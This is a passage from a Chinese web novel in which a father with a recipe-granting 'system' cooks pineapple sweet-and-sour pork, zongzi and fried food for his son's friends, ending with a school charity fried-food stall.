“我没买，商时贸他买了，还在厨房放着呢。”楚瑾钰边说边将手里菠萝拎到厨房，发现两袋加起来已经有六个大菠萝，忽然想到什么，赶紧掏出手机直接打语音给胡一齐。 “别催了，我已经快到你家了。” 语音刚接通，就传来胡一齐的声音，楚瑾钰开口道：“我只是想跟你说一下，别在小区门口买菠萝。” “啊？为什么？” 听到胡一齐这个语气，楚瑾钰有点不好的预感：“你该不会已经买了吧？” “对啊，他家菠萝有什么问题吗？”胡一齐说话间已经顺着没关的院门直接走进来，很快出现在大门口。 “你们仨今天这默契，我是真服了。”楚瑾钰直接将胡一齐拉到厨房，让他看看厨房里排排站的菠萝。 “额……” 胡一齐没想到叶其林他们也买了，觉得确实挺有默契。 “没事，往好处想，还好菠萝都没切，还能放一放，慢慢吃就是。” 楚瑾钰看到他边说边掏出五个菠萝，有点想打人：“你有毒吧，买就买，还买那么多！” “爸，爸——你看他们！”楚瑾钰是真有点无语，忍不住开始喊家长。 楚易文正在书房里剪视频，听到儿子的声音开门出来，就看到厨房那堆菠萝。 “哪来的菠萝？”他询问，得知是叶其林他们买的，语气透着疑惑，“怎么买那么多？” 楚瑾钰：“他们三个有默契呗，看到咱们小区门口有卖菠萝的，每个人都买了。” “楚爸，我就买了三个，胡一齐买得多，他买了五个。”叶其林赶紧甩锅。 楚易文有些好笑，不过还是道：“没事，菠萝能放几天，等会我就切给你们吃。” 他说完，让几个孩子去写作业，自己则是开始给菠萝削皮切块。 就在他刚把菠萝拿到手上，皮还没削完时，系统声响起【叮~发现食材新鲜的菠萝，奖励菜谱菠萝咕咾肉~】 楚易文已经习惯偶尔冒出的系统声，手上动作都没停顿一下，很快就将菠萝削完皮切成小块。 不怪叶其林他们都下意识跑去买菠萝，这菠萝品质确实不错，没切时就能闻见果香，等切成块后浓郁的果香弥漫整个厨房。 楚易文没忍住将其中一块送进嘴里，轻轻一咬菠萝的汁水就溢出来，甜中带爽，吃起来很是爽口。 “来，吃点菠萝。” 楚易文看出几个孩子心都不在作业上，放下果盘后没有离开，而是坐下来陪他们写作业。 “唔，不愧是我买的菠萝，还挺好吃。”胡一齐咀嚼着酸甜可口的菠萝自卖自夸。 楚瑾钰他们吃完水果，很快就继续开始写作业，可能是由于楚易文在旁边，他们没再继续聊天，写着写着终于慢慢沉下心。 小长假的作业并不少，四人从下午两点写到快五点还没写完，楚易文直接去厨房给他们做晚饭去。 由于新菜谱菠萝咕咾肉还没进行学习，今晚肯定吃不成，楚易文做了点他们平时爱吃的菜。 直到晚饭结束，又继续写半个小时，四人才终于做完作业。 “啊……太不容易了，终于写完了！” 听到胡一齐发出夸张的长叹，楚易文有些失笑，随即开口夸了几句，让他们玩游戏去。 刚刚写作业时楚瑾钰和胡一齐抓心挠肺地想打游戏，现在写完可以玩，他们兴趣反而没那么浓，玩一会就结束。 等把几个孩子送回家，楚易文洗漱完就开始躺到床上进入系统厨房，开始菠萝咕咾肉的学习。 菠萝咕咾肉是道经典粤菜，吃起来酸甜开胃，特别适合现在这个逐渐炎热起来了天气食用。他按照老爷子的指点，先将猪里脊肉切小块腌制上，再把菠萝和彩椒切好。 食材全部备完，楚易文将腌制好的里脊肉裹上层淀粉，开始起锅烧油。 油炸的菜做多以后，他现在对油温的把控已经特别熟练，虽然没达到老爷子那种肉眼就能判断的地步，但手背从油面上浮过，他便能判断油温有没有达到自己需要的温度。 六成油温时，他将裹好粉的里脊肉下锅中小火慢炸，从里到外把肉炸透，炸出漂亮的金黄色时，将肉捞出来，进行二次复炸。 炸完的里脊肉看起来金黄诱人，散发出浓郁的焦香，也就是胡一齐他们不在，否则看到刚炸好的里脊肉，肯定忍不住偷吃。 里脊肉炸完，楚易文用余光看了眼老爷子，见他没什么表示，开始调酱汁。锅中留底油，下入番茄酱炒出红油，在酸香味扑鼻而来时，他快速将盐、糖、白醋、水加进去，煮沸腾后将彩椒和菠萝倒入锅中快速翻炒半分钟，加水淀粉勾芡成功就直接关火。 趁着锅里还有余温，他将刚才炸的里脊肉倒进去，简单几个颠锅，每块里脊肉上均匀地裹上酱汁，原本金黄的色泽披上件红亮如琥珀的外衣。 菠萝的果香混合着番茄酱的酸甜气息，让这道菜闻起来就特别开胃，里脊肉散发出来的焦香和肉香，更是令人食欲大开。 菜出锅后，老爷子给面子地尝了两口，随即点评：“酱汁不行，你看这挂汁，淅淅沥沥的，影响食欲，火候还要再加强……” 楚易文点头记下他说的几点，再次做时尽量改正。 次日。 假期综合症让楚瑾钰这帮学生到校后看起来都很没有精神，像霜打的茄子一样。 上午最后一节课是体育课，难得今天没有其他老师占课，然而在跑步时，却是有学生忍不住嘀咕，觉得还不如坐在教室里上课。 “好热啊，这才五月怎么就那么热……” 胡一齐本身就是微胖的体型，自从楚易文开始做饭后，他天天跟着楚瑾钰蹭饭，整个人更是又胖一圈，怕热很正常。 听到他吐槽天太热，影响食欲时，楚瑾钰斜眼看向他：“就你，影响食欲？每天数你吃得最多。” “那是楚爸厨艺好，换做食堂的饭菜，这个天气我肯定就吃不下饭了。”胡一齐道。 叶其林：“我觉得你还真该戒一段时间楚爸做的饭，你看你胖的，不热才奇怪。” “去去去，听说过戒烟，没听过让人戒饭的，胖怎么了，我乐意。” 几人闲聊间，放学铃声响起，刚刚还吐槽天热影响食欲的胡一齐最先往学校门口方向跑，速度那叫一个快，完全看不出刚才体育课跑圈时的萎靡不振。 楚瑾钰望着他的背影开玩笑道：“等体测时让我爸拿着保温桶站在终点，他保准能跑第一。” 学校门口。 楚易文过来已经有两分钟，在胡一齐跑过来时，他笑着迎上去：“慢点，看你跑得满头汗。” “楚爸，今天做了什么好吃的？” “用你们昨天买的菠萝做了道菠萝咕咾肉，另外还有油焖大虾……” 楚易文正跟胡一齐报菜名时，有高二三班的其他同学从校门口出来，纷纷向他打招呼。 “叔叔好。” “叔叔今天做什么好吃的了？” 楚易文笑着一一回应，等把保温桶递给胡一齐和自家儿子，目送他们离开才转身开车回家。 “没想到菠萝还能做菜吃，楚爸真厉害，感觉他什么都会。”胡一齐拎着保温桶往食堂走，声音里透着佩服。 叶其林记性不错，听到这道菜说：“菠萝咕咾肉我记得食堂之前卖过，不过被吃过的人称为黑暗料理，卖了两天就没卖了。” “就食堂的手艺，把什么菜做成黑暗料理都不奇怪，反正楚爸做的肯定是好吃的。”胡一齐语气透着肯定。 楚瑾钰听见他信誓旦旦的话，觉得就冲他这份信任感，不怪他爸那么喜欢这家伙。 四人到食堂时，已经有不少速度快的学生已经打好饭正坐在位置上开吃。 “服了，本来天热就没食欲，这菜还做的那么油！” “红烧鱼块也不好吃，鱼肉都能煮老，真是人才。” 天气热不光能影响人食欲，还会让人情绪变得浮躁，有几个学生吃着面前的饭菜，忍不住吐槽。 楚瑾钰听到声音，不由庆幸起来，觉得还好自己现在不用再吃食堂，不然想想都难受。 他伸手打开自己面前那个保温桶，盖子掀开，最上面正是菠萝咕咾肉，一股菠萝特有的果香混着酸甜气息的肉香扑鼻而来，还没吃就让人已经有些开胃。 “哇，好漂亮的菜！”胡一齐顺着香味看过来，不自觉发出感叹。 颜色明亮的菠萝块搭配裹着琥珀色酱汁的肉块，再加上彩椒增色，整道菜看起来明艳诱人。 饭还没盛出来，楚瑾钰四人就在菠萝咕咾肉的色与香味诱惑下纷纷握上筷子。复炸让肉块锁住水分，吃起来外酥里嫩，菠萝的酸甜汁水配上酱汁的酸甜气息完美中和炸肉的油腻，吃起来简直不要太开胃。 第49章 油炸 “唔, 好吃，没想到菠萝做成菜这么美味，早知道昨天应该再多买点。”胡一齐上完体育课是真累到有点影响食欲, 吃完酸甜中带着菠萝浓郁果香的菠萝咕咾肉，感觉这道菜简直太开胃。 叶其林赞同地点头：“确实好吃，酸酸甜甜，果香浓郁，感觉比直接吃菠萝还好吃。” 菠萝咕咾肉不光单吃美味，配上米饭更是特别下饭，四人端着碗埋头苦吃, 直到半碗饭下肚才看向其他菜。 其他学生没他们这么有口福，只能边投来羡慕的眼神，边就着菠萝咕咾肉开胃的酸甜香气来下饭。 得知几个孩子喜欢吃, 接下来一段时间，楚易文给他们做了好几回菠萝咕咾肉，其中还做过两次素菜版。素菜版本用老豆腐代替猪肉, 吃起来同样酸甜开胃。 立夏过后天气越来越炎热，哪怕家里离学校很近, 楚瑾钰还是懒得跑，于是从五月开始就一直是楚易文来学校送饭。 高中给孩子送饭的家长并不少，其中大部分都是高三家长，想让孩子吃好点, 吃有营养点，为高考冲刺。在送饭的家长中，楚易文还挺引人注目，不光因为他是男家长，还因为他每次送饭就有四个孩子出来拿。 可能是经常在校门口看到他, 都已经眼熟，这天下午楚易文再次过来给几个孩子送饭时，有位家长忍不住过来问：“天天看到你过来送饭，你家是有四个儿子吗？” “没有，其他三个是我儿子的朋友，不过和我儿子认识十几年，跟自家孩子也没区别。” 问话的家长不管心里怎么想，嘴上夸了几句他人大方，随即才转身离开，没有继续打扰。 “爸！” “楚爸。” 几个孩子很快从学校里跑出来，喊得那叫一个亲热。 楚瑾钰：“爸，再过一段时间就是儿童节了。” “你们高中还过儿童节？”楚易文声音里透着诧异。 叶其林解释：“不是，是学校要趁六一搞公益活动，让每个班在六一当天进行公益售卖活动，赚的钱用来帮助贫困山区的儿童。” 他话落，楚瑾钰继续道：“下午开班会时，我们班好多人都提议可以搞美食摊，还说让爸你来帮忙，爸你觉得呢？” “可以啊。”楚易文听到是公益活动，加上还是给儿子班级帮忙，觉得没有拒绝的理由。 听到他同意，胡一齐好奇道：“那楚爸你准备做什么？我觉得你可以卖炸鸡，绝对一堆人来抢着买。” “夏天站在油锅前太热了，我觉得卖点冷吃牛肉、蜜汁香辣小鱼干什么的就行。”商时贸道。 叶其林：“到时候是去操场摆摊，你说的这些也很好吃，但香味没有炸鸡那么霸道，会不会不够吸引人？” “没事，我倒是没那么怕热，就是夏天大家有胃口吃油炸吗？”楚易文听到几个孩子的话，说出自己的想法。 胡一齐：“外面卖的炸鸡不一定有胃口吃，但楚爸你做的，再热的天我也有胃口吃！” 离六一还有段时间，班里具体要卖什么，怎么卖，估计还得进行班会讨论，他们站在校门口简单聊几句就结束话题。 晚自习时，班主任再次提起这件事，首先询问楚瑾钰，他爸有没有空来学校帮忙。 得到肯定回答后，班主任还没来得及说什么，班里同学先欢呼起来。 “哦耶！” “太好了！” 不怪大家激动，主要上次生日会参加的同学是吃爽了，没能参加的人则是被馋得不行。现在听到楚瑾钰他爸要来学校做美食，想想就觉得高兴。 班主任拍手示意他们安静下来后，开口提醒：“人家楚瑾钰爸爸是过来帮忙做吃食卖的，又不是做给你们吃，你们兴奋什么，好了，现在来讨论一下我们班要卖什么……” “炸鸡！叔叔做的炸鸡贼好吃！” “炸鱼也可以，上次叔叔还做了香酥小刀鱼，特别香！” “我觉得可以卖快餐，叔叔做的菜色香味俱全，随便炒几个菜都能卖爆。” 同学们讨论得特别激烈，甚至有人说着说着口水都快下来。 班主任感觉卖快餐还是有点奇怪，但炸鸡的话，又怕天热会太油腻，导致没人买。 “不会的，叔叔做的炸鸡，就是站在太阳底下我也能吃一大盒。” “对啊，叔叔做的炸鸡根本就不油腻，特别香，光是想想咬上去时那酥脆的声音，我口水都快下来……” 同学们可能是自己嘴馋，全都大力推荐炸鸡。 班主任听到他们都那么说，暂定下炸鸡后又问：“只有炸鸡会不会太单调？既然要卖吃食，还有谁的家长擅长做美食？” 同学们纷纷摇头表示自己家长不会时，胡一齐更是直接开口吐槽：“我爸废得很，他就会吃，连煤气灶都不一定知道怎么开。” “老师，反正都要用油，我觉得除了炸鸡，还可以炸点豆干、小黄鱼之类的，直接搞个油炸摊。” “这个可以有，就是楚瑾钰爸爸难得过来吗？” 晚自习结束前，六一公益活动的事总算暂时商量出来个结果，他们班准备到时候摆摊卖油炸。放学前，班主任交代同学们回去问问家长，让有空的家长到时候过来帮忙。 放学回家，楚瑾钰刚进门就问：“爸，你会做油炸吗？” 依旧是楚易文还没来得及开口，系统声就响起，他回忆那天被炸鸡支配的恐惧，觉得儿子真是能给自己找事干。 “会。”他回答的声音里透着无奈。 楚瑾钰没听出来他语气里的情绪，高兴道：“我就知道爸你炸鸡都做得那么好吃，油炸肯定也会。” “今天晚自习时我们又讨论了一下，班主任说光卖炸鸡太单调，有同学说可以搞油炸……” 楚瑾钰将晚自习班里的讨论说完，他倒是无事一身轻，可以回房间休息去，楚易文却是还得进系统厨房学习。 油炸说白了就是通过高温将食材炸熟、炸透，让原本普通的食材变成诱人的金黄色，吃起来更是外酥脆里鲜嫩。 想要做出完美的油炸，首先得处理好食材，有些可以直接炸，有些需要裹粉，不同食材的油温和炸的时间也是楚易文需要格外注意的地方。 有上次炸鸡的经验在，楚易文从系统厨房转换到小饭馆里时已经很淡定。 按照顾客订单，他先将裹好面糊的小黄鱼下入油锅，炸成浅金黄色时捞出来，等到油温升高进行二次复炸。 小黄鱼出锅时，形状完美，色泽金黄，散发出油炸特有的焦香与鱼鲜味，油炸出锅要进行沥油，这样吃起来才不容易油腻，小黄鱼放到旁边沥油时，楚易文又开始炸土豆片。 小黄鱼上是裹的一层薄薄面糊，土豆则是裹干粉，裹好粉的土豆片进入油锅，很快就被炸定型，同时颜色变成漂亮的金黄色，土豆特有的焦香源源不断从锅里飘出来，闻着就很是诱人。 沥完油，趁着小黄鱼表面温度正高，楚易文顺手将调料均匀撒上去，香味瞬间更上一层楼。 他手上动作几乎无缝衔接，很快就有沥好油的油炸从传菜窗口送到顾客手中。 小黄鱼被从里到外都炸透，顾客咬上去时发出清脆的“咔嚓”声，表面那层脆壳和里面鲜嫩的鱼肉形成对比，咀嚼间没有半点腥味，满满都是鱼鲜味和面衣的焦香，以及香辛料的复合香味。 “外焦里嫩，鲜香无比，不错，很好吃。” 小黄鱼得到顾客好评，然而很快就有顾客吐槽土豆片太油，还嫌弃杏鲍菇内里汁水不够充盈。 “炸的什么鬼东西，难吃死了，又油又咸……” 平常楚易文随便做样吃食，都能得到大家滔滔不绝地夸赞，也就在系统厨房和小饭馆里，他总是被人挑剔嫌弃。不过某方面来说，可能正是因为如此，他厨艺才会越来越精进。 楚易文听到顾客们的嫌弃，直接重新给土豆裹粉，再次油炸、调味。 小黄鱼、土豆片、藕片、里脊肉、茄子、牛肉、五花肉、鸡爪、鸡翅、鸡腿、兰花干、杏鲍菇…… 油炸的食材种类太多，想要让每位顾客都满意，楚易文重复不知道多少遍，到后面油炸香味飘进他鼻子里，他甚至已经不觉得香。 “兰花干太油了，炸得什么鬼！” 这位顾客前面嫌兰花干炸得不够脆，楚易文只能稍微加点火候来炸，结果炸完他又嫌油。 “不爱吃别吃！事那么多有本事自己来炸。” 楚易文深吸一口气还是没忍住，怼完才继续开始炸兰花干，这次他将时间缩短两秒，快速将炸成金黄色的兰花干捞出来沥油。 炸好的兰花干卖相特别漂亮，随着调料撒上去，星星点点香辛料颜色落在上面，看着就让人想咬两口。 等到兰花干沥完油再次送到顾客面前时，他咬上去后终于没再嚷嚷，而是一口接一口吃起来。 “不错，外酥里嫩，豆香浓郁……” 整串兰花干吃完，这位有些挑剔的顾客终于给出满意的评价。 原本学会油炸后楚易文是准备先做给儿子尝尝，然而在小饭馆里重复做了不知道多少遍，他闻油烟味有点闻伤，暂时是真没兴趣再起油锅。 不光如此，接下来几天，楚易文做的菜都格外清淡些， 学校食堂。 胡一齐：“我怎么感觉这两天楚爸做的菜格外清淡？” “夏天吃清淡点不是很正常。”商时贸说完夹了点丝瓜炒虾仁到碗里。 碧绿的丝瓜配上橙红色虾仁，卖相清爽诱人，丝瓜特有的清香和虾仁的鲜味混合在一起，很是勾人食欲。 邵言易咽下嘴里清爽脆嫩的白灼菜心道：“食堂的菜倒是不清淡，你想吃吗？” “我才不吃。”胡一齐说完夹起虾仁塞进嘴里，边吃边补充道，“我只是有点奇怪，又没说楚爸做的不好吃。” 五月底，比六一更先到来的是端午，楚易文在家闲着也是闲着，去码头菜市场买了不少粽叶回家包粽子。 云市这边甜咸都吃，他包了两种口味的粽子，一样是蜜枣粽，一样是蛋黄肉粽。 得知他亲自包了粽子，胡一齐他们端午节当天闻着味就过来，并且手里还带着礼盒。 “来就来，带什么东西。”楚易文道。 叶其林：“我爸让我提过来的，他还让我问你，明天有没有时间一起去钓鱼。” “你跟他说我随时有空。”楚易文笑着道。 很快粽子出锅，肉粽子的鲜香和蜜枣粽子的甜香夹杂着粽叶的清香扑鼻而来，闻着很是诱人。 “好吃，楚爸你做的比外面卖的粽子香多了。”胡一齐趁热剥开粽叶，蛋黄的咸鲜和肉的油脂香已经完全融进糯米中，配上粽叶的清香，吃起来简直是人间美味。 楚瑾钰吃的是蜜枣粽，以前他奶奶在世时，最喜欢包这种口味的粽子，他咀嚼着软糯香甜的粽子，心里透着怀念。 “楚爸，里面的肉是不是卤过？好香啊！”叶其林咬到肉时，咀嚼间尝到股浓郁酱香，越吃越觉得好吃。 楚易文点头：“对，稍微卤了一下。” 包粽子要选肥瘦相间的肉，先卤一下味道则是更香，随着高温煮熟，肥肉部分被煮化，油脂完全融进糯米中，让每粒米都带着油润的光泽感，吃起来有油脂香却不腻。 往年端午节，商时贸最多能吃一两个粽子应应景，今天他却是吃得停不下来，甜的咸的各吃了两个。 他还算好，胡一齐更夸张，光蛋黄肉粽就一口气吃了四个，蜜枣粽也吃掉好几个。 楚易文看见都怕他待会不消化，赶紧阻止他：“我包了好多粽子，喜欢的话你们可以带点回来，但一次不能吃太多，糯米不好消化。” 粽子吃完，下午他们一起去湖边看划龙舟，附近人特别多，简直不要太热闹。 愉快的端午节结束，晚上楚易文在账号上分享了划龙舟的热闹场景，还有包粽子的视频。 【我家好多年没包粽子了，现在都是在外面买着吃，别说，感觉外面卖的就是不如自己包的好，隔着视频就馋到我。】 【有没有一种可能，好不好吃看的是技术，我家今年倒是自己包的粽子，但包的真就一般［图片］】 【包粽子看起来也不难嘛，加收藏了，明年我也要试着自己包粽子。】 【同样是粽子，为啥视频里看起来就那么诱人？是不是加滤镜了？家里有粽子我都不想吃，结果上个网竟然能被粽子馋到。】 【看馋了，本来今天都懒得吃粽子了，现在忽然有点想，算了，好歹是端午节，我还是点外卖买几个吧。】 楚易文如今账号粉丝已经不少，视频刚发出去就已经有好多评论，他随便看两眼，回复了几条请教包粽子手法的问题才退出去。 * 端午节过去没几天就是儿童节，儿童节是十四岁以下孩子的节日，跟楚瑾钰他们这帮高中生没关系。不过由于今年学校搞公益活动，六一当天校内那叫一个热闹。 活动是从上午八点半开始，不过六点多时楚易文就跟儿子一起来到学校，简单在食堂吃过早餐便开始准备工作。 有很多需要提前腌制的食材他昨晚就在家里准备好，不过像是素菜什么的，还得今天现处理。 操场上，高二三班分到的位置，一部分同学忙着布置摊位，一部分同学在洗菜。 今天除了楚易文外，还有三位家长过来帮忙，其中就有邵言易奶奶。别看奶奶年纪大，但她却是能帮上大忙，同学们切好的菜，都由她来切。 她好歹做了一辈子的饭，刀工哪怕比不上楚易文这种经过专业学习的人，但也不算差。 “爸，你别忙了，赶紧先坐着休息会，待会有你忙的。”关键时刻，楚瑾钰这个当儿子的还是知道心疼人。 胡一齐：“是啊楚爸，切菜串食材用不着你，我们都可以做。” 不光他们，其他同学都纷纷开口，楚易文只能在灶台后坐下来，不过他是个闲不住的，坐没一会又起身去切食材去。 八点多时，操场上已经到处都是人，还有班级直接拿出音响放音乐，那叫一个热闹。 胡一齐不知什么时候从高二三班的摊子前溜出去，绕着操场转悠一圈后跑回来分享自己打探的军情：“我看到有的班在摆摊卖二次元周边，有的班在卖奶茶，有的班在卖衣服……高二五班在卖烧烤，还信誓旦旦说他们能拿第一！切！” “不是吧，怎么那么多班都选择卖美食。” “没事，就算都卖美食，咱们班有叔叔在，生意肯定是最好的。” “对，叔叔做的炸鸡那么美味，我们班肯定能拿第一！” 同学们听到胡一齐的话，纷纷开口。 “爸，可以开始炸了，我看那边他们已经在卖奶茶了。”楚瑾钰打量着周围，发现斜对面的奶茶摊已经开始营业，赶紧喊他爸。 楚易文闻言起锅烧油，同时将两个油锅全部打开。 炸鸡已经裹好粉，等油温达到要求后他直接将食材下锅，随着滋滋油声响起，炸鸡开始逐渐变色，同时一股霸道的油炸香味飘出来。 “好香啊……” 蹲在地上串食材的同学们闻见这股炸鸡香味，不自觉抬起头来轻嗅，嘴巴里津液疯狂分泌。 等到楚易文将第一批炸鸡从油锅里捞出来开始复炸，那股带着油炸焦香的鸡肉香味更加浓郁，以高二三班摊子为中心，朝着四周蔓延开来。 香味传到离他们最近的几个班级时，有学生受不住诱惑，直接丢下自己班级的摊子，闻着味就跑过来。 “炸鸡怎么卖？”最先跑过来的学生问完就看见价格表，立刻道，“我要一份炸鸡腿！” 楚易文只负责炸，卖货的事自然有他儿子和班级其他同学负责。 “好的。” 楚瑾钰负责收钱，胡一齐拿纸盒打包，很快就卖出第一份炸鸡。 扑鼻而来的香味实在太诱人，拿到炸鸡的学生站在原地就直接吃起来，咬下去时表皮酥脆焦香，内里鲜嫩多汁，好吃到他差点没原地跳起来。 刚出锅的炸鸡有点烫，在他咬开外壳时明显有热气飘出来，但他却是像不怕烫一样，一口接着一口吃着。 看到他吃得那么香，被吸引过来的其他学生自发地开始排队：“我要一份炸鸡翅。” “给我一份炸鸡翅一份炸鸡腿。” “我的天，这个炸鸡也太好吃了！再给我来一份！” “别插队，你已经买完了，还想买重新排队去。” “好香好嫩的炸鸡啊！怎么会这么好吃！” 很快排在前面的学生都已经拿到炸鸡，只吃一口眼睛就亮起来，好吃到根本停不下来。 随着炸鸡已经卖出去好几份，旁边桌上，高二三班的同学们将油炸的食材整齐摆好。 “竟然还有油炸！” 发现摊子上还卖油炸，有学生直接拿篮子开始挑选食材。 第一份油炸被递过来时，楚易文左边油锅里继续炸鸡，右边油锅里开始炸串。 经过系统厨房的学习和小饭馆的磨炼，他对每种食材的火候把握已经到达炉火纯青的地步，食材全部进入油锅，按照不同顺序被拿出来。 “要干料还是湿料？” 楚易文跟老爷子学了很多油炸的调料，不过今天没准备那么多，只有一干一湿两种调味。 “要干料。” 得到回答，楚易文将调料趁热均匀地撒在食材上，随即就转身继续炸下一份。 胡一齐将油炸装进纸盒里递出去，闻到那诱人的香味，喉咙忍不住吞咽两下。 纸盒中有小黄鱼、里脊肉、兰花干、藕片、鸡皮串、牛肉串，每样都被炸成漂亮的金黄色或者金棕色，上面点缀着各色调料，看起来卖相诱人。 高温产生的油脂香气以及食材本身的香味，让拿到油炸的学生迫不及待想要品尝，然而盒子里每样吃食都那么诱人，她有点不知道先吃哪个好。 最终她还是拿起炸土豆片，咬下去时外壳酥脆，咀嚼间满满都是土豆特有的香味和调料的咸鲜微辣，好吃到她眼睛都弯起来。 第50章 真香 “好吃吗？” 有在排队的学生闻着诱人香气, 边咽口水边问。 三两下就解决完一串炸土豆片的女学生点头：“好吃，太好吃了，炸得特别脆, 但却不油腻，这个调味也特别香，是我吃过最美味的油炸。” 她说完立刻拿起小黄鱼送到嘴边，光看卖相就感觉很脆，等咬上去时，果然发出清脆的“咔嚓”声。 油炸特有的焦香，鱼肉的鲜嫩, 恰到好处的调料香，简直不要太美味！ 怎么会有这么好吃的油炸！ 被炸小黄鱼那外酥里嫩，鲜香浓郁的滋味给惊艳到, 女生心里冒出吃到美食的愉悦泡泡。 由于小黄鱼炸得实在太香，她连鱼尾巴都没放过，感受着鱼尾被炸酥的焦香, 顺着往上吃去。鱼最外层薄薄的面衣被炸成金黄酥脆，鱼皮也被炸焦, 鱼肉鲜嫩入味，连小刺都能直接嚼碎，吃到最后，连鱼的主骨她都忍不住啃两口, 鱼头更是啃了又啃，连脸颊上那丝肉都舍不得放过。 小小一条鱼，鱼脸上的肉少得几乎没有，她连这都不放过，看得出来是真很爱吃, 甚至如果不是真过不了心里那关，怕是连鱼头都要整个嚼碎。 她不吃鱼头，有学生却是只要好吃，根本没有禁忌，随着越来越多人买到油炸，有人直接连鱼头都吃掉，还感叹“嘎嘣脆”、“特别香”。 “我的妈呀，这是什么神仙油炸，太好吃了，怎么能有人把油炸做得那么脆，那么香，还不油！” “这兰花干简直绝了！外脆里软，香的我差点没咬到舌头！” “小黄鱼好好吃，鱼头鱼尾都被炸酥，而且一点鱼腥味都没有……” “炸鸡太香了，这才是我想吃的炸鸡，食堂的人赶紧过来学学！” “买少了，根本不够吃。” 买到炸鸡和油炸的人站在摊子周围就开吃，吃完全部赞不绝口，甚至有人手里还没吃完，脚就已经很诚实地重新走到队伍中继续排队。 油炸香味实在霸道，很快吸引越来越多人过来排队。 “看得我口水都快下来了，好馋……” “服了，刚开始看到这边摆油炸摊时，我还在说谁会那么有毛病，大早上吃油炸，没想到有病的竟然是我自己！” “哈哈哈哈，早上怎么了，只要好吃，什么时间都能吃。” 眼见排队的人越来越多，叶其林和商时贸纷纷加入打包的队伍中，他们近距离站在油锅旁，戴着口罩都阻挡不住扑面而来的香味。 “我也好想吃啊……”胡一齐边打包边忍不住小声嘀咕。 楚易文有听见他声音，但现在全场最忙的就数他，实在顾不过来。 “可以把兰花干单独撒湿料，其他油炸撒干料吗？”有学生望着摊子里两种调料，都想尝尝。 “可以。” 楚易文说完顺手就将他那份油炸给调好味，随即继续往油锅里下食材。 旁边胡一齐那纸盒将撒好料的油炸装好，酥脆的兰花干淋上湿料，看起来红亮诱人，差点就忍不住直接送进自己嘴里去。 不行，受不了了！ 胡一齐感觉看得到吃不着的工作太折磨人，将油炸递出去后转身找人换工作去。 邵言易见他不愿意继续干打包，起身放下手里正洗的菜跟他交换位置。 与此同时，拿到油炸的同学将湿料版兰花干送进嘴里，湿料带着点水分，不过这些水分还不至于将兰花干软化，咬上去时口感依旧酥脆，不过吃起来比干料版少了点干香，多了股温润感。 “唔，好吃！” 湿料的红油香与兰花干本身的豆香融合，简直吃得人停不下来，那股恰到好处的咸鲜微辣，令人回味无穷。 都说众口难调，再美味的吃食总会有人不喜欢，然而楚易文做的油炸，却是让每位顾客吃完只有两个感想，第一个是太好吃了！第二个则是后悔没多买点。 如果说刚开始，还只是附近几个班级的同学过来排队，等到活动开始半个小时后，油炸浓郁的香味和百分之百好评的口碑，引得越来越多人围过来。 隔壁班摊位。 “你有毒吧，自己班里的摊子不管，竟然跑去买别人班的东西。” “这个油炸特别好吃，真的，不信你尝尝。”听到好朋友吐槽自己，端着油炸的学生犹豫再三，才看在炸藕片有两串的份上，分出一串。 “大热天的，油炸有什么好吃的，这玩意就是闻起来香，多吃两口就能把人给腻歪……” 她话还没说完，一串炸藕片直接塞她嘴里去，她下意识咀嚼两下，随即手就很诚实地伸出去自己拿着签子。 油炸想要好吃，酥脆的口感很重要。藕片可以裹粉，也可以不裹，此时这串是裹粉版，不过只薄薄裹了一层，高温油炸后外脆里也脆。 外面是裹粉被炸成金黄色形成的酥脆口感，内里的脆却是食材本身的脆嫩，两种不同的脆交织在一起，焦香、藕香和香辛料的复合香气在味蕾上跳跃，香而不腻的滋味，吃起来别提多过瘾。 “怎么样？” “真香！” 真香完，咽下最后那口炸藕片的女生感觉意犹未尽，伸手想要再来一串。 “不行，我自己都不够吃，要吃自己去排队。” 见她还护食上，刚刚还吐槽她不管班级摊子的人转身就往油炸摊方向跑，跑得那叫一个快。 油炸摊。 班主任带着几个男同学抬着几箱水过来时，还没走近就闻见浓郁香味，并看到摊子前排起的长龙。 “我们班生意真好！” “废话，那么香的炸鸡，傻子才不吃。”说话的男同学闻着香味，不自觉吞咽口水。 等他们到摊子前把水放下时，班主任亲自拿起一瓶对楚易文说：“楚瑾钰爸爸，辛苦了。” “不辛苦，谢谢老师。” 楚易文说话时手上动作依旧没停，先将油锅里复炸好的炸鸡捞出来，又将顾客挑选好的油炸下锅。 “叔叔多给我放点辣。” “好香啊，什么时候到我啊？” “我还要一份炸鸡！” 排在最前面的学生也不嫌热，一个个恨不得凑到油锅前，望着在油锅中沉沉浮浮的食材，光闻香味口水都快下来。 别说他们，就连班主任在摊子边多站一会都有被馋到，为了自己的形象，无声地咽下口水，赶紧去后边看其他学生。 “土豆片快没有了，赶紧再串点。” 余思语负责摆放食材，发现桌上土豆片越来越少，转头对着串食材的同学们喊。 “没有土豆片了，等会先。” 负责切菜的邵言易奶奶闻言，转头道：“拿几个土豆过来，我来切。” 随着大家都动起来，很快土豆被洗干净削好皮送到奶奶手上，等奶奶切完，有同学负责拿到后面，有同学负责串，很快就补上食材。 刚开始大家都很自觉，有活都抢着干，不过随着油炸香味越来越浓，越来越馋人，不少人开始分心。 胡一齐本来就是个吃货，能忍到现在已经是极限，他眼珠子一转，跟身边同学说声上厕所就起身离开，绕一大圈后鬼鬼祟祟加入排队大军中。 “你不热吗？” 看到他脸上戴着口罩，排在他前面的学生忍不住问。 热肯定是有点，但胡一齐怎么可能承认，摇头后盯上人家头顶的鸭舌帽：“兄弟，帽子能不能借我戴会？买完油炸就还你。” 对方还挺大方，直接摘下来借给他，并顺势跟他聊起来：“三班卖的油炸简直香死个人，感觉这是把油炸店老板请过来摆摊了，不知道他家店开在哪……” “楚……叔叔不是开油炸店的，只是单纯手艺好而已。”胡一齐听到别人夸自家楚爸，心里很是自豪。 “你怎么知道？” “我朋友是三班的。” 胡一齐跟人闲聊着，不知不觉就排到前面，怕被班里同学认出来，他不敢再继续说话，而是全程比划着点单。 他以为他戴着口罩和鸭舌帽就不会被认出来，却低估楚瑾钰他们和他的兄弟情。 就他那熟悉的身形，以及脸上掩耳盗铃的口罩，简直不要太明显。 楚瑾钰是真缺德，刚开始没作声，等他点完单付完钱悄悄松口气时，突然开口：“胡一齐啊胡一齐，你可真行，我们大家在这忙，你竟然排上队了。” 我草！ 见被他认出来，胡一齐像是被踩了尾巴的猫一样，差点没原地跳起来。 楚易文听到儿子的声音才抬头，发现果然还是他后有些好笑，不过倒是没说什么。 